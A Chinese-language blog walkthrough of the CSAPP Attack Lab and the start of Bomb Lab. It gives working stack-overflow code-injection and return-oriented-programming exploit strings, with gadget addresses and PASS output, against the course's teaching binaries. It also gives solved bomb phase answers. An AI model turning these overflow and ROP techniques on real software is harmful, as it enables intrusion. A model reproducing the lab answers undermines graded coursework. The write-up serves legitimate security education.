12 buf.c: 没有那个文件或目录.
(gdb) nexti 5
0x00000000004017bd 16 in buf.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
......After Some Steps......
(gdb) disas
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
=> 0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
(gdb) nexti
0x0000000000401916 73 in visible.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 0 -98 119 -23 120 13 -32 -89
0x5561dc98: -112 -36 97 85 0 0 0 0

我们可以注意到,在函数touch3调用函数hexmatch的前后,0x5561dc90指向的内存并不是我们一开始注入的cookie的字符串表示,而是被填充了其他的数据。这是由于调用新的函数(hexmatch以及hexmatch调用的函数)使得栈帧继续向下增长,从而覆盖了原先我们注入的数据的原因。

我们可以在gdb中实际的运行一下ctarget来得出执行hexmatch函数到底会覆盖多少栈空间,然后根据结果重写我们的攻击代码。
但是我在这里采用了另外一种方法是直接将cookie的字符串表示写到攻击代码的最后,这样,这段字符串将会处于相对的高地址,由于栈的增长方向是从高地址到低地址,这样,注入的字符串将绝对不会因函数调用而被覆盖。

最终,我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf c0 dc 61 55 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 其中将%rdi指向字符串的首地址(栈的高地址)*/
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 共9个字节(包括'/0') */
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF C0 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

第二部分 返回导向编程(Return-Oriented Programming)攻击

为了对抗缓冲区溢出攻击,现代编译器和操作系统采用了很多机制。第二部分的目标文件rtarget就采用了以下两种技术:

  • 栈随机化技术,每一次运行程序时,栈的起始位置都是不固定的,几乎不可能确定你攻击代码在栈上的位置。
  • 禁止执行栈上的代码,所以当你尝试将PC指向栈段的时候,程序只能因Segmentation Fault而退出。

下面我们引入返回导向编程(Return-Oriented Programming)技术来实现在以上两种限制情况下执行代码。

C语言程序是由若干的函数组成的,每一个函数都以ret结束,下面我们给出一个函数,如下:

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

以及这个函数的反汇编结果,如下:
1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

尽管栈随机化以及禁止在栈段执行代码,但是通过缓冲区溢出攻击,我们仍然可以覆盖返回地址并且让PC跳转至代码段的相应位置。例如让getbuf返回后跳转至0x400f15,尽管这看起来并没有什么意义,因为程序的代码和我们攻击的代码的逻辑是不同的,攻击代码和程序已有代码相同的可能性几乎是0。

现在,让我们换一个思路,如果让getbuf返回后跳转到0x400f18,会怎么样呢?

从0x400f18开始的三个字节48 89 c7代表的是movq %rax, %rdi,然后紧跟的c3代表的是ret。在攻击中,这段代码就比movl $0xc78948d4,(%rdi) ret这样的代码更有意义。并且当这段代码执行完毕,ret又迫使程序跳转到下一个返回地址指向的地方。

现在我们可以利用程序本身的代码,构造出一组由不同的返回地址组成的攻击代码,每一个返回地址都指向了一个函数的最末尾的若干字节,由ret结尾。这样,程序就会按照我们设计的顺序依次执行这些代码片段,以达到修改程序行为的结果,这就是返回导向编程。这些代码片段被称作gadget,而这些gadgets共同组成了一个gadget farm。

等级2

在阶段4中,我们将重复阶段2的攻击,只是这一次目标文件为rtarget。为了简化期间,在本次实验中,你仅能从gadget farm中利用movq,popq,ret,nop这四种类型的指令以及x86_64的前8个寄存器(%rax-%rdi)的gadget去构造答案。并且在阶段4中,你只能使用farm.c中start_farm()和mid_farm()之间的gadget来实现攻击。

当一个gadget用到了popq指令,它将会从栈中pop数据,因此,你的攻击代码将会同时包括gadget地址以及数据。

阶段4的思路很简单,我们只要首先从栈中将cookie的8位数字pop到一个寄存器中,再使用mov指令将该寄存器的值送入%rdi中,或者更加直接,将cookie从栈中pop至%rdi中,最后再将返回地址设置为touch2即可。具体要看gadget farm中都提供了哪些gadgets。

我们首先观察gadget_farm中的相关gadgets,并决定其是否可以用作攻击。根据上述的思路,我们可以得到两个gadget set_val426及getval_280,它们的反汇编代码如下:

1
2
3
4
5
6
7
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq

setval_426中的48 89 c7 90 c3可以被解释为mov %rax,%rdi nop ret,而getval_280中的58 90 c3可以被解释为pop %rax nop ret。
将这两个gadget结合,即可以得到阶段4的结果,如下:
1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
cc 19 40 00 00 00 00 00 /* pop %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* mov %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2 */

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level2/level2.txt|./hex2raw|./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

在阶段5中,我们将在rtarget中重复阶段3的攻击,即将目标字符串的首地址作为参数传递给函数touch3。这是所有阶段中最难的一个阶段。

首先,考虑到代码段部分以及栈段部分的地址的高4字节都是0,以及x86下任何以32位寄存器作为目标寄存器的指令都会将该寄存器的高4字节置0,我们同样可以使用movl替代movq。

在本阶段中,我们显然是需要将cookie的字符串表示存入栈段的,这个阶段的核心问题是如何定位该字符串的首地址,在栈地址随机的情况下,这是很难的。

首先想到的是利用mov指令将%rsp的值送入另一个寄存器,但是在执行这样的gadget时,寄存器rsp指向的是下一个gadget的返回地址,而不是字符串的首地址,而如果让其指向字符串的首地址,那么又无法在最后返回到函数touch3。

我在做这个实验的时候,在这里卡了很久。最后才注意到在gadget farm中有一个叫做add_xy的函数,这个函数的功能是将%rdi与%rsi相加并保存至%rax,豁然开朗。做题目(进行攻击)的时候还是不能太死板,一定要充分利用目标程序本身提供的代码,一味地按照固有的套路做有时只会浪费时间和精力。

整个阶段5的思路如下,首先将rsp存入某个寄存器之中,然后再将一个特定的常量pop至另一个寄存器之中,最后将这两个值分别存入%rsi和%rdi,调用add_xy将其相加得到字符串的首地址,并将结果%rax存入%rdi之中,最后再调用函数touch3即可。

受制于gadget的种类,我们可能会用到多个gadget做中转。最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
06 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi <- %rax指向的地址*/
ab 19 40 00 00 00 00 00 /* pop %rax */
48 00 00 00 00 00 00 00 /* offset constant*/
dd 19 40 00 00 00 00 00 /* mov %eax,%edx */
34 1a 40 00 00 00 00 00 /* mov %edx,%ecx */
13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
d6 19 40 00 00 00 00 00 /* add_xy */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 与前面保存的rsp总共差了9条语句 故常量为0x48*/
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level3/level3.txt|./hex2raw|./rtarget -q                
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

注意,在第二部分中,可能使用不同的Gadget去实现相同的攻击效果,答案仅供参考,但并不是唯一的。

至此,整个实验完成。

实验总结

相比与BombLab来说,整个AttackLab总体比较简单,主要需要自行阅读讲义中的材料学习相关的攻击方式并将其运用,考虑到讲义中给出的提示,除了阶段5以外整体不是很难。

在这次实验中,主要的两个问题以及收获:

  • 字节序的问题,需要对栈的增长方向以及小端法的字节序加以理解。
  • ROP攻击要充分利用程序本身,而不是循规蹈矩地盲目寻找Gadgets,这样只会在阶段五卡住。

评论和共享

实验答案托管在我的Github

用了一周的时间读完了《深入理解计算机系统》的第三章:程序的机器级表示。对于x86_64汇编及其逆向工程有了一定的了解。于2017年4月16日完成了其第二个Lab - Bomb Lab.

实验简介

Bomb Lab - Defusing a Binary Bomb主要是关于反汇编的实验,对应于书本的第三章:程序的机器级表示。

本实验非常的有趣。实验给定了一个二进制程序Bomb(炸弹)。这个炸弹由若干阶段组成,每个阶段都要求你在标准输入流中输入一个字符串,如果字符串正确,那么该阶段就会被解除并且程序会进入下一个阶段。如果字符串错误,那么炸弹会爆炸,并且退出。当每个阶段都被解除后,整个炸弹将会被解除。

在正式的实验中,每个学生将会从服务器处得到一个独一无二的炸弹,解除每个炸弹所需要的字符串都是不同的。同时,引爆炸弹将会导致扣分。当实验结束后,可以从服务器的计分板上看到每个学生的成绩。
本实验主要要求学生能够理解汇编代码,同时要求学生能学会使用一个Debugger(调试器)。

本实验提供的答案仅针对官网给出的自学者讲义中的炸弹

实验提示

  • 学会使用一个debugger(调试器),在本次实验中,使用GDB - GNU Debugger
  • 使用objdump -t得到bomb的符号表。符号表包含了bomb中所有函数,全局变量,以及调用的函数的名字及地址。
  • 使用objdump -d得到bomb的反汇编结果。但是注意,系统级别的函数调用将会以被加密的形式出现在反汇编代码中,如果需要知道这些信息,需要在gdb中对相应的函数进行反汇编。

实验过程及分析

实验准备

  1. 熟悉GDB的使用,并且使用objdump -t bomb > bomb-symboltable生成bomb的符号表,再使用objdump -d bomb > bomb-disassemble生成bomb的反汇编文件。
  2. 确保即时输入了错误的字符串炸弹也不会爆炸。观察bomb的符号表可以发现函数explode_bomb,推测该函数的作用是引爆炸弹,因此在GDB中使用break explode_bomb为该函数添加断点。这样,我们可以在bomb爆炸前提前截获并处理。
  3. 观察符号表可以看到phase_1到phase_6这几个函数以及其他的相关辅助函数,我们要做的就是给每一个阶段的函数添加断点,反汇编,并且理解这些函数的作用,并推测出答案。

实验过程

主函数 - main

首先在bomb-disassemble中观察main的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
0000000000400da0 <main>:
400da0: 53 push %rbx
400da1: 83 ff 01 cmp $0x1,%edi
400da4: 75 10 jne 400db6 <main+0x16>
400da6: 48 8b 05 9b 29 20 00 mov 0x20299b(%rip),%rax # 603748 <stdin@@GLIBC_2.2.5>
400dad: 48 89 05 b4 29 20 00 mov %rax,0x2029b4(%rip) # 603768 <infile>
400db4: eb 63 jmp 400e19 <main+0x79>
400db6: 48 89 f3 mov %rsi,%rbx
400db9: 83 ff 02 cmp $0x2,%edi
400dbc: 75 3a jne 400df8 <main+0x58>
400dbe: 48 8b 7e 08 mov 0x8(%rsi),%rdi
400dc2: be b4 22 40 00 mov $0x4022b4,%esi
400dc7: e8 44 fe ff ff callq 400c10 <fopen@plt>
400dcc: 48 89 05 95 29 20 00 mov %rax,0x202995(%rip) # 603768 <infile>
400dd3: 48 85 c0 test %rax,%rax
400dd6: 75 41 jne 400e19 <main+0x79>
400dd8: 48 8b 4b 08 mov 0x8(%rbx),%rcx
400ddc: 48 8b 13 mov (%rbx),%rdx
400ddf: be b6 22 40 00 mov $0x4022b6,%esi
400de4: bf 01 00 00 00 mov $0x1,%edi
400de9: e8 12 fe ff ff callq 400c00 <__printf_chk@plt>
400dee: bf 08 00 00 00 mov $0x8,%edi
400df3: e8 28 fe ff ff callq 400c20 <exit@plt>
400df8: 48 8b 16 mov (%rsi),%rdx
400dfb: be d3 22 40 00 mov $0x4022d3,%esi
400e00: bf 01 00 00 00 mov $0x1,%edi
400e05: b8 00 00 00 00 mov $0x0,%eax
400e0a: e8 f1 fd ff ff callq 400c00 <__printf_chk@plt>
400e0f: bf 08 00 00 00 mov $0x8,%edi
400e14: e8 07 fe ff ff callq 400c20 <exit@plt>
400e19: e8 84 05 00 00 callq 4013a2 <initialize_bomb>
400e1e: bf 38 23 40 00 mov $0x402338,%edi
400e23: e8 e8 fc ff ff callq 400b10 <puts@plt>
400e28: bf 78 23 40 00 mov $0x402378,%edi
400e2d: e8 de fc ff ff callq 400b10 <puts@plt>
400e32: e8 67 06 00 00 callq 40149e <read_line>
400e37: 48 89 c7 mov %rax,%rdi
400e3a: e8 a1 00 00 00 callq 400ee0 <phase_1>
400e3f: e8 80 07 00 00 callq 4015c4 <phase_defused>
400e44: bf a8 23 40 00 mov $0x4023a8,%edi
400e49: e8 c2 fc ff ff callq 400b10 <puts@plt>
400e4e: e8 4b 06 00 00 callq 40149e <read_line>
400e53: 48 89 c7 mov %rax,%rdi
400e56: e8 a1 00 00 00 callq 400efc <phase_2>
400e5b: e8 64 07 00 00 callq 4015c4 <phase_defused>
400e60: bf ed 22 40 00 mov $0x4022ed,%edi
400e65: e8 a6 fc ff ff callq 400b10 <puts@plt>
400e6a: e8 2f 06 00 00 callq 40149e <read_line>
400e6f: 48 89 c7 mov %rax,%rdi
400e72: e8 cc 00 00 00 callq 400f43 <phase_3>
400e77: e8 48 07 00 00 callq 4015c4 <phase_defused>
400e7c: bf 0b 23 40 00 mov $0x40230b,%edi
400e81: e8 8a fc ff ff callq 400b10 <puts@plt>
400e86: e8 13 06 00 00 callq 40149e <read_line>
400e8b: 48 89 c7 mov %rax,%rdi
400e8e: e8 79 01 00 00 callq 40100c <phase_4>
400e93: e8 2c 07 00 00 callq 4015c4 <phase_defused>
400e98: bf d8 23 40 00 mov $0x4023d8,%edi
400e9d: e8 6e fc ff ff callq 400b10 <puts@plt>
400ea2: e8 f7 05 00 00 callq 40149e <read_line>
400ea7: 48 89 c7 mov %rax,%rdi
400eaa: e8 b3 01 00 00 callq 401062 <phase_5>
400eaf: e8 10 07 00 00 callq 4015c4 <phase_defused>
400eb4: bf 1a 23 40 00 mov $0x40231a,%edi
400eb9: e8 52 fc ff ff callq 400b10 <puts@plt>
400ebe: e8 db 05 00 00 callq 40149e <read_line>
400ec3: 48 89 c7 mov %rax,%rdi
400ec6: e8 29 02 00 00 callq 4010f4 <phase_6>
400ecb: e8 f4 06 00 00 callq 4015c4 <phase_defused>
400ed0: b8 00 00 00 00 mov $0x0,%eax
400ed5: 5b pop %rbx
400ed6: c3 retq

结合讲义中的bomb.c可以得出,main函数每次调用read_line从标准输入流中读入一行字符串,并将其返回值(即字符串的首地址)设置为第一个参数,然后依次调用phase_1到phase_6。

在每一个phase函数内部检查输入的字符串是否正确,如果不正确,则调用explode_bomb函数引爆bomb;否则则返回,返回之后由主函数再继续调用phase_defused解除该阶段。

因此,在每一个阶段中,我们关注的重点应当是phase函数内部以及phase函数所调用的其他函数。

阶段1 - phase_1

在bomb-disassemble中观察phase_1的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
0000000000400ee0 <phase_1>:
400ee0: 48 83 ec 08 sub $0x8,%rsp
400ee4: be 00 24 40 00 mov $0x402400,%esi #设置第二个参数为指针
400ee9: e8 4a 04 00 00 callq 401338 <strings_not_equal> #调用strings_not_equal函数
400eee: 85 c0 test %eax,%eax
400ef0: 74 05 je 400ef7 <phase_1+0x17>
400ef2: e8 43 05 00 00 callq 40143a <explode_bomb> #若返回值不为0则引爆bomb
400ef7: 48 83 c4 08 add $0x8,%rsp
400efb: c3 retq

可以看出,phase_1调用了strings_not_equal这个函数,并为该函数配置了第二个参数0x402400,并判断该函数的返回值是否为0,如果为0则返回,否则引爆bomb。

从函数名可以推测,该函数的作用是判断两个字符串是否不相同,如果不相同,则返回非0值,相同则返回0。

还可以推测,该函数的第一个参数%rdi中存放了我们输入的字符串的首地址,而第二个参数%rsi指向了待比较的字符串的首地址——也就是阶段1的答案。

下面在GDB中验证推测。使用GDB运行bomb,为phase_1和explode_bomb添加断点。然后输入测试字符串”Test”,进入phase_1后用print分别打印输出%rdi和%rsi所指向的字符串。

首先是设置断点的相关命令及结果:

1
2
3
4
(gdb) break explode_bomb
Breakpoint 1 at 0x40143a
(gdb) break phase_1
Breakpoint 2 at 0x400ee0

然后是运行程序及输入测试字符串的相关命令及结果:
1
2
3
4
5
6
7
(gdb) run
Starting program: /home/blackdragon/CSAPPLabs/BombLab/bomb
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Test

Breakpoint 2, 0x0000000000400ee0 in phase_1 ()

然后我们查看%rdi所指向的字符串:
1
2
(gdb) print (char *)($rdi)
$1 = 0x603780 <input_strings> "Test"

发现%rdi果然指向了我们输入的字符串。然后我们单步执行程序至调用strings_not_equal函数之前,查看%rsi所指向的字符串:
1
2
(gdb) print (char *)($rsi)
$2 = 0x402400 "Border relations with Canada have never been better."

我们已经得到了phase_1的答案,就是”Border relations with Canada have never been better.”

下面我们重新执行bomb并测试,输出”Phase 1 defused. How about the next one?”,phase_1解决。

阶段2 - phase_2

在bomb-disassemble中观察phase_2的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0000000000400efc <phase_2>:
400efc: 55 push %rbp
400efd: 53 push %rbx
400efe: 48 83 ec 28 sub $0x28,%rsp
400f02: 48 89 e6 mov %rsp,%rsi
400f05: e8 52 05 00 00 callq 40145c <read_six_numbers> #从输入的字符串中读入6个数字
400f0a: 83 3c 24 01 cmpl $0x1,(%rsp)
400f0e: 74 20 je 400f30 <phase_2+0x34>
400f10: e8 25 05 00 00 callq 40143a <explode_bomb> #如果第一个数字不为1则引爆炸弹
400f15: eb 19 jmp 400f30 <phase_2+0x34>
400f17: 8b 43 fc mov -0x4(%rbx),%eax
400f1a: 01 c0 add %eax,%eax
# 计算前一个元素*2
400f1c: 39 03 cmp %eax,(%rbx)
400f1e: 74 05 je 400f25 <phase_2+0x29>
400f20: e8 15 05 00 00 callq 40143a <explode_bomb> #若当前元素不等于前一个元素*2则引爆bomb
400f25: 48 83 c3 04 add $0x4,%rbx
400f29: 48 39 eb cmp %rbp,%rbx
400f2c: 75 e9 jne 400f17 <phase_2+0x1b>
# 指向下一个元素
400f2e: eb 0c jmp 400f3c <phase_2+0x40>
400f30: 48 8d 5c 24 04 lea 0x4(%rsp),%rbx
400f35: 48 8d 6c 24 18 lea 0x18(%rsp),%rbp #设置b和bEnd
400f3a: eb db jmp 400f17 <phase_2+0x1b>
400f3c: 48 83 c4 28 add $0x28,%rsp
400f40: 5b pop %rbx
400f41: 5d pop %rbp
400f42: c3 retq

可以看出,在phase_2的一开始调用了read_six_numbers这个函数,初步推测这是用来从输入字符串中读取六个数字的函数,其将输入字符串的地址作为第一个参数,将栈顶指针%rsp作为第二个参数,下面我们查看read_six_numbers的反汇编代码,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
000000000040145c <read_six_numbers>:
40145c: 48 83 ec 18 sub $0x18,%rsp
401460: 48 89 f2 mov %rsi,%rdx
401463: 48 8d 4e 04 lea 0x4(%rsi),%rcx
401467: 48 8d 46 14 lea 0x14(%rsi),%rax
40146b: 48 89 44 24 08 mov %rax,0x8(%rsp)
401470: 48 8d 46 10 lea 0x10(%rsi),%rax
401474: 48 89 04 24 mov %rax,(%rsp)
401478: 4c 8d 4e 0c lea 0xc(%rsi),%r9
40147c: 4c 8d 46 08 lea 0x8(%rsi),%r8
401480: be c3 25 40 00 mov $0x4025c3,%esi
401485: b8 00 00 00 00 mov $0x0,%eax
# 为sscanf配置参数
40148a: e8 61 f7 ff ff callq 400bf0 <__isoc99_sscanf@plt>
# 调用sscanf(input, "%d %d %d %d %d %d", &a[0], &a[1], &a[2], &a[3], &a[4], &a[5]);
40148f: 83 f8 05 cmp $0x5,%eax
401492: 7f 05 jg 401499 <read_six_numbers+0x3d>
401494: e8 a1 ff ff ff callq 40143a <explode_bomb> #若读取成功的数字数小于6则引爆bomb
401499: 48 83 c4 18 add $0x18,%rsp
40149d: c3 retq

可以看出,该函数在0x401460-0x401480为函数的调用构造了参数,在0x401485将返回值置0,并在0x40148a处调用了sscanf函数。并且检查sscanf函数的返回值(读取成功的变量个数),如果返回值<=5,则引爆bomb,否则则正确返回。

下面我们重点观察调用函数的参数构造过程。%rdi是第1个参数,指向了输入的字符串,推测第2个参数%rsi应该指向了格式化字符串的首地址,且该字符串为”%d %d %d %d %d %d”。%rdx是第3个参数,为%rsi+0,%rcx是第4个参数,为%rsi+4,%r8是第5个参数,为%rsi+8,%r9是第6个参数,为%rsi+12。(%rsp)是第7个参数,为%rsi+16,(%rsp+8)是第8个参数,为%rsi+20。

可以归纳出read_six_numbers接收2个参数,其中第1个参数为输入字符串的首地址,第2个参数为6元素的int型数组的首地址,该函数从输入字符串中读取6个数字,并且将这6个数字存入第2个参数所指向的int型数组中。但如果读取的数字不足6个,则会引爆bomb。

然后我们回到phase_2函数中,将phase_2函数逆向,可以得到如下的结果:

1
2
3
4
5
6
7
8
9
10
11
12
void phase_2(char * input) {
int a[6];
read_six_numbers(input, a);
if (a[0] == 1) explode_bomb();
int * b = &a[1], * bEnd = &a[6];
do {
int val = (*(b-1)) * 2;
if (*b != val) explode_bomb();
b++;
} while (b != bEnd);
return;
}

从上述的代码可以明显地看出编译器对于定长数组的优化,编译器使用了指针间接引用替代了数组引用。
上述代码依次检查了读入的6个数字,第1个数字必须为1,从第2个数字开始,每一个数字都必须是上一个数字的两倍,否则将会引爆bomb。显然,phase_2的答案为”1 2 4 8 16 32”。

下面我们在GDB中验证得出的结果。我们为explode_bomb、phase_2和read_six_numbers设置断点,在phase_2中输入”1 2 4 8 16 32”,并且在进入read_six_numbers函数后观察%rsi所指向的字符串是否为”%d %d %d %d %d %d”。这里为了方便起见,我们将phase_1的结果写入test.txt并读入。相关命令与结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) break explode_bomb
Breakpoint 1 at 0x40143a
(gdb) break phase_2
Breakpoint 2 at 0x400efc
(gdb) break read_six_numbers
Breakpoint 3 at 0x40145c
(gdb) run test.txt
Starting program: /home/blackdragon/CSAPPLabs/BombLab/bomb test.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
1 2 4 8 16 32

Breakpoint 2, 0x0000000000400efc in phase_2 ()
(gdb) continue
Continuing.

Breakpoint 3, 0x000000000040145c in read_six_numbers ()
(gdb) stepi 10
0x0000000000401485 in read_six_numbers ()
(gdb) print (char *)($rsi)
$1 = 0x4025c3 "%d %d %d %d %d %d"
(gdb) continue
Continuing.
That's number 2. Keep going!

阶段3 - phase_3

在bomb-disassemble中观察phase_3的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
0000000000400f43 <phase_3>:
400f43: 48 83 ec 18 sub $0x18,%rsp
400f47: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
400f4c: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
400f51: be cf 25 40 00 mov $0x4025cf,%esi
400f56: b8 00 00 00 00 mov $0x0,%eax
400f5b: e8 90 fc ff ff callq 400bf0 <__isoc99_sscanf@plt>
# 从输入的字符串中读取两个数字 并存入局部变量中
400f60: 83 f8 01 cmp $0x1,%eax
400f63: 7f 05 jg 400f6a <phase_3+0x27>
400f65: e8 d0 04 00 00 callq 40143a <explode_bomb> # 若读取成功的数字不足两个 则引爆bomb
400f6a: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp)
400f6f: 77 3c ja 400fad <phase_3+0x6a> # 若第一个数字(无符号)大于7 则引爆bomb
400f71: 8b 44 24 08 mov 0x8(%rsp),%eax
400f75: ff 24 c5 70 24 40 00 jmpq *0x402470(,%rax,8)
400f7c: b8 cf 00 00 00 mov $0xcf,%eax
400f81: eb 3b jmp 400fbe <phase_3+0x7b>
400f83: b8 c3 02 00 00 mov $0x2c3,%eax
400f88: eb 34 jmp 400fbe <phase_3+0x7b>
400f8a: b8 00 01 00 00 mov $0x100,%eax
400f8f: eb 2d jmp 400fbe <phase_3+0x7b>
400f91: b8 85 01 00 00 mov $0x185,%eax
400f96: eb 26 jmp 400fbe <phase_3+0x7b>
400f98: b8 ce 00 00 00 mov $0xce,%eax
400f9d: eb 1f jmp 400fbe <phase_3+0x7b>
400f9f: b8 aa 02 00 00 mov $0x2aa,%eax
400fa4: eb 18 jmp 400fbe <phase_3+0x7b>
400fa6: b8 47 01 00 00 mov $0x147,%eax
400fab: eb 11 jmp 400fbe <phase_3+0x7b>
400fad: e8 88 04 00 00 callq 40143a <explode_bomb>
400fb2: b8 00 00 00 00 mov $0x0,%eax
400fb7: eb 05 jmp 400fbe <phase_3+0x7b>
400fb9: b8 37 01 00 00 mov $0x137,%eax # switch语句
400fbe: 3b 44 24 0c cmp 0xc(%rsp),%eax
400fc2: 74 05 je 400fc9 <phase_3+0x86> # 判断a和b是否相等 不想等则引爆炸弹
400fc4: e8 71 04 00 00 callq 40143a <explode_bomb>
400fc9: 48 83 c4 18 add $0x18,%rsp
400fcd: c3 retq

推测phase_3的一开始用sscanf从输入字符串中读入了2个int型数字。

然后观察phase_3中的jmpq ×0x402470(,%rax,8)以及下面的mov与jmp指令,基本上可以肯定这是使用跳转表实现的switch语句。

下面在GDB中验证并记录不同%rax的值对应跳转表的不同跳转位置。具体的命令及结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) break explode_bomb
Breakpoint 1 at 0x40143a
(gdb) break phase_3
Breakpoint 2 at 0x400f43
(gdb) run test.txt
Starting program: /home/blackdragon/CSAPPLabs/BombLab/bomb test.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2. Keep going!
1 1

Breakpoint 2, 0x0000000000400f43 in phase_3 ()
(gdb) stepi 4
0x0000000000400f56 in phase_3 ()
